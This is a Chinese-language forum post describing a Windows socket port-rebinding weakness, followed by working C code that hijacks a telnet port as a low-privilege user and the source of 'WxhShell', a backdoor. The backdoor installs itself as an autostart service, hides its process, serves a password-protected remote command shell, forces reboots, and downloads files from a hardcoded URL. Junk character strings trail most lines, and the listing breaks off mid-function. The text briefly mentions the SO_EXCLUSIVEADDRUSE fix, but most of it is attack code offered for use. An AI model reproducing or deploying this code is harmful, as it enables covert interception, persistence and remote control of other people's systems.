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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [WO>}rGw4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =i>i,>bv  
c|Fu6LF a  
  saddr.sin_family = AF_INET; ='Yg^:n  
\-CL}Z}S  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 91M5F$  
}Apn.DYbbf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); g[(Eh?]Sc  
Wd?=RO`a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y7<(_p7  
ahg]OWn#  
  这意味着什么?意味着可以进行如下的攻击: j> dL:V&`  
 mT,#"k8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /ommM  
b{}ao  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eDY)i9"W  
R<;;Ph  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ="de+S8W  
LL+PAvMg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a LJ d1Q  
@0-vf>e3-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 q,>4#J[2;s  
q``:[Sz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f0+vk'Z  
i0rh {Ko  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dgT(]H  
Fil6;R  
  #include  1t }  
  #include =Y5_@}\0  
  #include Nf%/)Tk  
  #include    7yUX]95y8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ^Vg-fO]V  
  int main() r0q?e`nsA  
  { 5em*9Ko  
  WORD wVersionRequested; v(p<88.!m  
  DWORD ret; "6gBbm  
  WSADATA wsaData; yiMqe^zy  
  BOOL val; =3EjD;2  
  SOCKADDR_IN saddr; GOD{?#c$  
  SOCKADDR_IN scaddr; ,,]<f*N  
  int err; v(zfq'^%`  
  SOCKET s; >Q:h0b_$U  
  SOCKET sc; Wpc8T="q  
  int caddsize; {RI)I  
  HANDLE mt; 6pbtE]  
  DWORD tid;   myF/_o&Ty  
  wVersionRequested = MAKEWORD( 2, 2 ); ,n$NF0^l  
  err = WSAStartup( wVersionRequested, &wsaData ); /rHlFl|Wy  
  if ( err != 0 ) { M2I*_pI  
  printf("error!WSAStartup failed!\n"); ]I\9S{?  
  return -1; ~~q>]4>  
  } O=oIkvg  
  saddr.sin_family = AF_INET; D9!$H!T _  
   9-!GYa'Z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z9eP(ip  
g]E3+:5dk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L~C:1VG5  
  saddr.sin_port = htons(23); lN x7$z`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KW/LyiP#  
  { F?t;bV  
  printf("error!socket failed!\n"); vRH2[{KQ9  
  return -1; bnJ4Edy  
  } `pF7B6[B  
  val = TRUE; AcHeZb8b  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;vy<!@Y;8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z0Z1J8Qq6.  
  { U$ ;UW3-  
  printf("error!setsockopt failed!\n"); )y{:Uc\4!  
  return -1; $W%-Mm  
  } FIUQQQ\3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -A zOujSS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0 {  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 wNU;gz  
J|vg<[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) k5Su&e4]]  
  { mtdy@=?1Y  
  ret=GetLastError(); hVAatn[  
  printf("error!bind failed!\n"); F x^X(!)~]  
  return -1; Wg20H23XW  
  } ).AMfBQ=;  
  listen(s,2);  tq?a3  
  while(1) RC?vU  
  { )?pnV":2Y  
  caddsize = sizeof(scaddr); }9&dY!h +  
  //接受连接请求 zQ#* O'-n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p$uPj*  
  if(sc!=INVALID_SOCKET) D$@2H>.-  
  { x=+>J$~Pb  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X?XB!D7[  
  if(mt==NULL) uP(t+}dQ+3  
  { q;UGiB^(A  
  printf("Thread Creat Failed!\n"); tzv4uD]  
  break; dMCoN8W  
  } :(wFNK/0{  
  } jOzi89  
  CloseHandle(mt); crN*eFeW  
  } noM=8C&U  
  closesocket(s); LNyrIk/1  
  WSACleanup(); `oH4"9&]k3  
  return 0; k>7bPR5Mw  
  }   fx>U2  
  DWORD WINAPI ClientThread(LPVOID lpParam) *C<;yPVc  
  { ifu!6_b.  
  SOCKET ss = (SOCKET)lpParam; {f@Q&(g  
  SOCKET sc; 1z-A3a/-  
  unsigned char buf[4096]; ;Rpib[m  
  SOCKADDR_IN saddr; V1pBKr)v  
  long num; C ocw%Yl  
  DWORD val; j>B*8*Ss  
  DWORD ret; ,.}%\GhY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ([}08OW@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^i_+ugJX  
  saddr.sin_family = AF_INET; YB<nz<;JR  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [0aC]XQZ  
  saddr.sin_port = htons(23); (CY D]n  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t$wbwP  
  { ^X}r ^  
  printf("error!socket failed!\n"); NkO+ )=  
  return -1; ! |UX4  
  } FO%pdLs,  
  val = 100; E #B$.K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &)gc{(4$  
  { dH PvVe/  
  ret = GetLastError(); T!ZjgCY}  
  return -1; 8V 4e\q  
  } A[ncwJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _ +NjfF|  
  { #v<`|_  
  ret = GetLastError(); iw3\`,5   
  return -1; Fa[^D~$l*  
  } XsQ81j.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) R54ae:8  
  { 4\u`M R  
  printf("error!socket connect failed!\n"); \)rMC]  
  closesocket(sc); PA ?2K4  
  closesocket(ss); &1yJrj9y  
  return -1; z k/`Uz  
  } +pwTM]bV  
  while(1) \t&! &R#  
  { _.Hj:nFHz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Um{) ?1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }P0bNY5?%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [,,@>nyD  
  num = recv(ss,buf,4096,0); BVNJas  
  if(num>0) dGm%If9P  
  send(sc,buf,num,0); vJ}WNvncVF  
  else if(num==0) 2HmK['(  
  break; DxNob-F r  
  num = recv(sc,buf,4096,0); T` h%=u|D  
  if(num>0) j \jMN*dmV  
  send(ss,buf,num,0); R}gdN-941  
  else if(num==0) jI7 x<=  
  break; Os'E7;:1h  
  } ?D _4KFr  
  closesocket(ss); Ie/_gz^  
  closesocket(sc); N=Ct3  
  return 0 ; m(U.BXo  
  } EQ,`6UT>  
+;lDU}$  
i@nRZ$K  
========================================================== pI-Qq%Nwt  
@3KSoA"^  
下边附上一个代码,,WXhSHELL nUpj+F#  
"h_f- vP  
========================================================== jn|NrvrX  
m_oUl(pk  
#include "stdafx.h" d9:I.SA)E  
>~Zj  
#include <stdio.h> @[9  
#include <string.h> H!]&"V77  
#include <windows.h> >y#MEN>?  
#include <winsock2.h> :?zq!  
#include <winsvc.h> 01-rBto$  
#include <urlmon.h> JseKqJ?g  
#;a+)~3*O  
#pragma comment (lib, "Ws2_32.lib") E/oLE^yL  
#pragma comment (lib, "urlmon.lib") ai$l7]7  
[k\VUg:P  
#define MAX_USER   100 // 最大客户端连接数 j[:70%X  
#define BUF_SOCK   200 // sock buffer DSRc4 |L  
#define KEY_BUFF   255 // 输入 buffer W`9{RZ'  
7QTS@o-  
#define REBOOT     0   // 重启 *uRDB9#9,  
#define SHUTDOWN   1   // 关机 1$03:ve1  
'+/mt_re=  
#define DEF_PORT   5000 // 监听端口 eC"e v5v  
HN NeH;L  
#define REG_LEN     16   // 注册表键长度 k8}fKVU;  
#define SVC_LEN     80   // NT服务名长度 6O{QmB0KK  
& n@hD7=(  
// 从dll定义API 153*b^iDBh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >l)x~Bkf$j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qpe9?`vVX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H if| z[0$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); liPrxuP`  
8/R$}b><  
// wxhshell配置信息 2Xv}JPS2As  
struct WSCFG { `;}qjm0a  
  int ws_port;         // 监听端口 Zc_F"KJL  
  char ws_passstr[REG_LEN]; // 口令 o'$-  
  int ws_autoins;       // 安装标记, 1=yes 0=no e"^WXP.t&  
  char ws_regname[REG_LEN]; // 注册表键名 n-M6~   
  char ws_svcname[REG_LEN]; // 服务名 &&<l}E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "6%{#TZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I_8 n>\u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a] c03$fK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'j'6x'[> ]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +76ao7d.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9s5s;ntz"  
P|ibUxSA~,  
}; 8u)>o* :  
j-J/yhWO&  
// default Wxhshell configuration qmn l  
struct WSCFG wscfg={DEF_PORT, ]]r ;}$  
    "xuhuanlingzhe", u8?$W%eW  
    1, Z"Lr5'}  
    "Wxhshell", fGe ie m  
    "Wxhshell", 90abA,U@  
            "WxhShell Service", %F150$(D  
    "Wrsky Windows CmdShell Service", t;3).F  
    "Please Input Your Password: ", voRb>xF  
  1, )xU+M{p-os  
  "http://www.wrsky.com/wxhshell.exe", !} x-o`a5  
  "Wxhshell.exe" t; #@t/`  
    }; ?vWF[ DRd'  
zI ^:{]p  
// 消息定义模块 -0`n(`2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ed0}$ b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PL31(!`@d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O`_, _  
char *msg_ws_ext="\n\rExit."; hd/'>]  
char *msg_ws_end="\n\rQuit."; Rc9>^>w  
char *msg_ws_boot="\n\rReboot..."; ]T5\LNyN  
char *msg_ws_poff="\n\rShutdown..."; 2V; Dn$q  
char *msg_ws_down="\n\rSave to "; _'y`hKeI[  
>*B59+1P  
char *msg_ws_err="\n\rErr!"; nRX'J5Q m<  
char *msg_ws_ok="\n\rOK!"; N2j^fZd_  
uTO%O}D N  
char ExeFile[MAX_PATH]; A ^hafBa  
int nUser = 0; EcytNYn  
HANDLE handles[MAX_USER]; -~J5aG[@~>  
int OsIsNt; @|w/`!}9q  
B )\;Ja  
SERVICE_STATUS       serviceStatus; NTK9`#SA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]d{lS&PRlg  
G"L`9E<0V  
// 函数声明 ]M"U 'Z  
int Install(void); k MV1$  
int Uninstall(void); Ue`Y>T7+!  
int DownloadFile(char *sURL, SOCKET wsh); e`JWY9%  
int Boot(int flag); lc [)Ev  
void HideProc(void); iW9  
int GetOsVer(void); }=gD,]2x8  
int Wxhshell(SOCKET wsl); I;?PDhDb  
void TalkWithClient(void *cs); mL#$8wUdt{  
int CmdShell(SOCKET sock); 5~[][VV^  
int StartFromService(void); B=r+ m;(  
int StartWxhshell(LPSTR lpCmdLine); ZifDU@J$t  
j}J=ZLr/V"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >lJTS t5{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ck m:;q  
CZy3]O"qW  
// 数据结构和表定义 @a=jSB#B  
SERVICE_TABLE_ENTRY DispatchTable[] = p7izy$Wc  
{ r1=j$G  
{wscfg.ws_svcname, NTServiceMain}, *].qm g%  
{NULL, NULL}  Bw+ ?MdS  
}; Zrgv*  
k`z]l;:  
// 自我安装 (?GW/pLK]  
int Install(void) /Q89y[  
{ 6u`$a&dR'l  
  char svExeFile[MAX_PATH]; *.1#+h/]3  
  HKEY key; KCp9P2kv.  
  strcpy(svExeFile,ExeFile); B o%Sl  
6p&uifY}tR  
// 如果是win9x系统,修改注册表设为自启动 |-cXb.M[  
if(!OsIsNt) { Oi@|4mo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f|/ ,eP$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 23'{{@30  
  RegCloseKey(key); ]!jfrj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;"RyHow  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JFNjc:4{0  
  RegCloseKey(key); '0o^T 7C  
  return 0; q]Xu #:X  
    } XJwgh y?(  
  } MJH>rsTQ  
} F,K))325  
else { -Edi"B4K  
[ `_sH\  
// 如果是NT以上系统,安装为系统服务 d@b2XCh<K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pu ?CO A  
if (schSCManager!=0) xbHI 4A"Z  
{ *M>~$h7  
  SC_HANDLE schService = CreateService . _Jypk8  
  ( $GhL-sqm  
  schSCManager, Y~#F\v  
  wscfg.ws_svcname, 0&\71txrzg  
  wscfg.ws_svcdisp, vkG%w;  
  SERVICE_ALL_ACCESS, 'L{pS-+6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8f%OPcr&  
  SERVICE_AUTO_START, Q{miI N  
  SERVICE_ERROR_NORMAL, 1r*@1y<0"  
  svExeFile, J^PFhu  
  NULL, N_+D#Z.g  
  NULL, WZTv  
  NULL, 2$o\`^dy  
  NULL, x~D8XN{  
  NULL t47;X}y f  
  ); q$ j  
  if (schService!=0)  >Af0S;S  
  { I\[z(CHg@  
  CloseServiceHandle(schService); l!\~T"-7;:  
  CloseServiceHandle(schSCManager); -<" ;|v4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P1Iy >%3  
  strcat(svExeFile,wscfg.ws_svcname); n5tsaU;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7$IR^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8 ~Pdr]5  
  RegCloseKey(key); q; C6ID`  
  return 0; { qCFd  
    } {yd(n_PqY  
  } ]kO|kIs  
  CloseServiceHandle(schSCManager); VG50n<m9  
} rcH{"\F_/  
} kcMg`pJ4<  
<l eE.hhf.  
return 1; m)r,  
} 7fl{<uf  
g\iSc~%?  
// 自我卸载 ;r.#|b  
int Uninstall(void) T?tZ?!6  
{ 6X4r2Vq  
  HKEY key; HLc3KYIk  
]xbMMax  
if(!OsIsNt) { nXjSf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b"OHXu  
  RegDeleteValue(key,wscfg.ws_regname); /2tP d  
  RegCloseKey(key); QpS7 nGev  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ([7XtG/?  
  RegDeleteValue(key,wscfg.ws_regname); h&~9?B  
  RegCloseKey(key); ,zZ@QW5  
  return 0; ^nDa-J$  
  } :0bjPQj  
} <5G 4|l  
} N0 mh gEA  
else { DwWm(8&6;}  
K;>9K'n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [EK^0g   
if (schSCManager!=0) I<Mb /!TQ  
{ Il#ST  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g(G$*#}o8A  
  if (schService!=0) TFz k5  
  { _!w69>Nj  
  if(DeleteService(schService)!=0) { TpdYU*z_Br  
  CloseServiceHandle(schService); u}rJqZ  
  CloseServiceHandle(schSCManager);  w U1[/  
  return 0; c}H}fyu%n  
  } #Kx @:I  
  CloseServiceHandle(schService); :% +9y @%  
  } RS@G.|  
  CloseServiceHandle(schSCManager); Q9;VSF)  
} m9\~dD  
} lAo4)  
46B'Ec  
return 1; 0w vAtK|Q  
} ['3E'q,4&  
xmfZ5nVL  
// 从指定url下载文件 p Ohjq#}  
int DownloadFile(char *sURL, SOCKET wsh) %MCS_'N J  
{ mXyg\5  
  HRESULT hr; 0WyOORuK  
char seps[]= "/"; AOz~@i^  
char *token; ~4xn^.w  
char *file; kUr/*an  
char myURL[MAX_PATH]; w$ ""])o,  
char myFILE[MAX_PATH]; |;I"Oc.w^R  
D z[ ,;  
strcpy(myURL,sURL); -"XHN=H  
  token=strtok(myURL,seps); #/\Zo &V8  
  while(token!=NULL) X?(R!=a  
  { zz8NBO  
    file=token; _B vGEM`o  
  token=strtok(NULL,seps); K~fWZT3]  
  } nB/`~_9  
E?VOst&  
GetCurrentDirectory(MAX_PATH,myFILE); Z4m+GFY  
strcat(myFILE, "\\"); k7(lwEgNG  
strcat(myFILE, file); ~ NO7@m uw  
  send(wsh,myFILE,strlen(myFILE),0); 2tQ?=V(Di  
send(wsh,"...",3,0); i?|u$[^=+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _:Jma  
  if(hr==S_OK) L[U?{  
return 0; E5Ls/ H K  
else z$Qy<_l  
return 1;  xS="o  
f>m ! }F:  
} L D%SLJ:  
~y/qm [P  
// 系统电源模块 Zm+GH^f'  
int Boot(int flag) +,)Iv_Xl$  
{ }}oIZP\qM  
  HANDLE hToken; v"<M ~9T)  
  TOKEN_PRIVILEGES tkp; ]H<}6}Gd  
F| P?|  
  if(OsIsNt) { CX ; m8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (%9J( 4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^KV:.up6  
    tkp.PrivilegeCount = 1; Bp4#"y2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lk=[Xo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); di<g"8  
if(flag==REBOOT) { iEbW[sX[ 4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }^*`&Lh  
  return 0; 3@1$y`SN  
} DW)X3A(^  
else { o ?aF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m]}EVa_I`/  
  return 0; V}JBv$+ko  
} >;}(? +|f  
  } \vuWypo  
  else { m &[(xVM  
if(flag==REBOOT) { j|b$b,rF\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :j`XU  
  return 0; V=Z%y$1Bc  
} LCb0Kq}*/(  
else { \[/}Cy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 51ILR9 Bc_  
  return 0; q35=_'\W  
} }Q-Tw,j  
} ~N )(|N  
ppeF,Q  
return 1; ^Gi WU +`  
} ;x/. 8fA  
[lz H%0 V  
// win9x进程隐藏模块 _6]tbni?v  
void HideProc(void) .fK~IKA  
{ T7(d  
aLwEz}-   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )[=C@U  
  if ( hKernel != NULL ) {RD9j1  
  { q^L"@Q5;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tn|H~iF{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V Y@`)  
    FreeLibrary(hKernel); WJ\,Y} J  
  } Ol;"}3*Z*  
VI.Cmw~S  
return; X#X/P  
} ifmX<'(9A  
$4]4G=o  
// 获取操作系统版本 yXf+dMv  
int GetOsVer(void) 8C I\NR{x8  
{ >=3oe.$)  
  OSVERSIONINFO winfo; SN$3cg]z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &7eN EA  
  GetVersionEx(&winfo); p;mV?B?oAQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [9y y<Z5  
  return 1; unr`.}A2>  
  else 2l~qzT-  
  return 0; LfvRH?<W  
} WHRBYq_  
}RQHsS  
// 客户端句柄模块 <JW %h :\t  
int Wxhshell(SOCKET wsl) 9zpOp-K6  
{ m;vm7]5  
  SOCKET wsh; Lv#}Gm  
  struct sockaddr_in client; OZe`>Q6  
  DWORD myID; NH'QMjL)  
"_\77cqpTh  
  while(nUser<MAX_USER) _t6 .9CXl  
{ p)~EG=p  
  int nSize=sizeof(client); 0aYoc-( A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P[H 4Yp  
  if(wsh==INVALID_SOCKET) return 1; x(:alG%#  
5+/XO>P1m|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?%b#FXA  
if(handles[nUser]==0) YOY2K%o  
  closesocket(wsh); &InFC5A  
else |sAl k,8s  
  nUser++; 2UTmQOm  
  } 1\/^X>@W{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t*Z4&Sy^  
12}!oS~_  
  return 0; (?[%u0%_  
} yxi*4R  
~b6c:db3  
// 关闭 socket -.5R.~@  
void CloseIt(SOCKET wsh) k: z)Sw  
{ z#6(PZC}  
closesocket(wsh); K!v\r"N  
nUser--; yB4eUa!1  
ExitThread(0); MKX58y{+  
} <jh=W9.N_  
~eXI}KhBw6  
// 客户端请求句柄 ~e686L0j  
void TalkWithClient(void *cs) z -'e<v;w  
{ }wC=p>zA  
ksyQ_4^SO  
  SOCKET wsh=(SOCKET)cs; EnEaUb?P  
  char pwd[SVC_LEN]; 5m?9O7Pg  
  char cmd[KEY_BUFF]; [f]:h Ji  
char chr[1]; L#N ]1#;  
int i,j; `_OB_F  
hSaw)g`w  
  while (nUser < MAX_USER) { C-H6l6,  
Xv xrz{  
if(wscfg.ws_passstr) { vtRz;~,Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CW,|l0i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -~ Dn^B1^  
  //ZeroMemory(pwd,KEY_BUFF);  K"Gea`I  
      i=0; '^tC|)  
  while(i<SVC_LEN) { '_" S/X +v  
u`pw'3hY  
  // 设置超时 b\H,+|i K  
  fd_set FdRead; b[MKo7  
  struct timeval TimeOut; SGpe\P]k  
  FD_ZERO(&FdRead);  k.\4<}  
  FD_SET(wsh,&FdRead); +#6f)H(P]  
  TimeOut.tv_sec=8; Gg%pU+'T  
  TimeOut.tv_usec=0; YOtzj a]~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X&A2:A 6\+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z\Z+>A  
Or-LQ^~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H^g&e$d0  
  pwd=chr[0]; .GvZv>  
  if(chr[0]==0xd || chr[0]==0xa) { ZpZoOdjslV  
  pwd=0; J,k.*t:  
  break; x6Q_+!mnk  
  } )9+H[  
  i++; vyT-!mC  
    } `8;\}6:"1  
6. vwK3\>~  
  // 如果是非法用户,关闭 socket I<S*"[nV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7+rroCr"  
} (lvp-<*  
0VIR =Pbp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |j4;XaG)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DK#Tr: 7  
2 y& k  
while(1) { -c %'f&P  
XKvH^Z4h{l  
  ZeroMemory(cmd,KEY_BUFF); "4.A@XsY  
ephvvj~zW4  
      // 自动支持客户端 telnet标准   mh#_lbe'  
  j=0; hdYd2 j  
  while(j<KEY_BUFF) { 9\%`/tJM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l@>@2CB  
  cmd[j]=chr[0]; O66b^*=N}x  
  if(chr[0]==0xa || chr[0]==0xd) { Om2w+yU  
  cmd[j]=0; FMC]KXSd  
  break; =@MJEo`D  
  }  x(A6RRh  
  j++; n{"a 0O  
    } R HmT$^=  
(.kzJ\x  
  // 下载文件 K/8TwB?I  
  if(strstr(cmd,"http://")) { ~zQxfl/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M} Mgz  
  if(DownloadFile(cmd,wsh)) *Z3b6X'e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yER  
  else K8h\T4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zEw~t&:e  
  } BVS SO's  
  else { +_ny{i`'  
RJdijj  
    switch(cmd[0]) { h79~d%-  
  YAd%d|Q  
  // 帮助  |?ZNGPt  
  case '?': { -f"{%<Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l6.&<0pLT  
    break; 7hT@,|(j  
  } [ZS.6{vr  
  // 安装 jwheJ G  
  case 'i': { {5c]\{O?[  
    if(Install()) \og2\Oh&gH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =D)ADZ\<r  
    else p Moza8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T[2<_nn=  
    break; qpq(<  
    } otQ G6  
  // 卸载 o+Q2lO5  
  case 'r': { c!mMH~#  
    if(Uninstall()) 3!i{4/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M*aYcIU((  
    else $dug"[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D H:9iX'  
    break; o Va[  
    } WZ UeW*#=  
  // 显示 wxhshell 所在路径 ;Pvnhy  
  case 'p': { i#PR Tbc  
    char svExeFile[MAX_PATH]; TW=N+ye^1(  
    strcpy(svExeFile,"\n\r"); E CPSE {  
      strcat(svExeFile,ExeFile); "e/"$z'ca  
        send(wsh,svExeFile,strlen(svExeFile),0); zbfe=J4c  
    break; YB(8 T"  
    } Sp]ov:]%f  
  // 重启 ^}lL@Bd|  
  case 'b': { V>ZDJW"G!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /9| 2uw`  
    if(Boot(REBOOT)) 1[\I9dv2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qBZ;S3  
    else { |I3&a=,  
    closesocket(wsh);  _w FK+>  
    ExitThread(0); MPLeqk$;  
    } a~zh5==QD  
    break; JC}T*h>Ee  
    } wd1>L) T  
  // 关机 Pt'=_^Io  
  case 'd': { 0\+$j5;  
